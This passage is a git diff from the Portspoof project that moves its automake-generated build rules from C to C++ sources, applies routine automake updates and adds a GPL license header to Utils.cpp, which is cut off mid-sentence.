portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp -portspoof-portspoof.obj: portspoof.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi` +portspoof-connection.obj: connection.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi` -portspoof-revregex.o: revregex.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c +portspoof-Fuzzer.o: Fuzzer.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.o -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp -portspoof-revregex.obj: revregex.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi` +portspoof-Fuzzer.obj: Fuzzer.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.obj -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi` -portspoof-log.o: log.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c +portspoof-log.o: log.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.o `test -f 'log.cpp' || echo '$(srcdir)/'`log.cpp -portspoof-log.obj: log.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi` +portspoof-log.obj: log.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='log.cpp' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi` -portspoof-config_file.o: config_file.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.o -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c +portspoof-portspoof.o: portspoof.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp -portspoof-config_file.obj: config_file.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.obj -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi` +portspoof-portspoof.obj: portspoof.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi` + +portspoof-revregex.o: revregex.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp + +portspoof-revregex.obj: revregex.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi` + +portspoof-Utils.o: Utils.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.o -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp + +portspoof-Utils.obj: Utils.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.obj -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi` ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ - $(AWK) ' { files[$$0] = 1; } \ - END { for (i in files) print i; }'`; \ + $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) - tags=; \ + set x; \ here=`pwd`; \ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ - $(AWK) ' { files[$$0] = 1; } \ - END { for (i in files) print i; }'`; \ - if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ + $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in files) print i; }; }'`; \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ - $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ - $$tags $$unique; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ fi ctags: CTAGS CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) - tags=; \ - here=`pwd`; \ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ - $(AWK) ' { files[$$0] = 1; } \ - END { for (i in files) print i; }'`; \ - test -z "$(CTAGS_ARGS)$$tags$$unique" \ + $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in files) print i; }; }'`; \ + test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ - $$tags $$unique + $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ - && cd $(top_srcdir) \ - && gtags -i $(GTAGS_ARGS) $$here + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags @@ -408,13 +472,17 @@ distdir: $(DISTFILES) if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ - if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ - cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ - cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ - test -f $(distdir)/$$file \ - || cp -p $$d/$$file $(distdir)/$$file \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done @@ -445,6 +513,7 @@ clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @@ -465,6 +534,8 @@ dvi-am: html: html-am +html-am: + info: info-am info-am: @@ -473,18 +544,28 @@ install-data-am: install-dvi: install-dvi-am +install-dvi-am: + install-exec-am: install-binPROGRAMS install-html: install-html-am +install-html-am: + install-info: install-info-am +install-info-am: + install-man: install-pdf: install-pdf-am +install-pdf-am: + install-ps: install-ps-am +install-ps-am: + installcheck-am: maintainer-clean: maintainer-clean-am @@ -506,7 +587,7 @@ ps-am: uninstall-am: uninstall-binPROGRAMS -.MAKE: install-am install-strip +.MAKE: all install-am install-strip .PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \ clean-generic ctags distclean distclean-compile \ @@ -521,6 +602,7 @@ uninstall-am: uninstall-binPROGRAMS mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \ tags uninstall uninstall-am uninstall-binPROGRAMS + # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: diff --git a/src/Server.cpp b/src/Server.cpp index ff8e292..eb0e143 100755 --- a/src/Server.cpp +++ b/src/Server.cpp @@ -61,7 +61,7 @@ Server::Server(Configuration* configuration) int n = 1; setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n)); - + /* server address - by default localhost */ my_name.sin_family = PF_INET; if(configuration->getConfigValue(OPT_IP)) diff --git a/src/Utils.cpp b/src/Utils.cpp index a71dfc2..a00d620 100755 --- a/src/Utils.cpp +++ b/src/Utils.cpp @@ -1,4 +1,46 @@ +/* + * Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework + * Copyright (C) 12012 Piotr Duszyński + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License 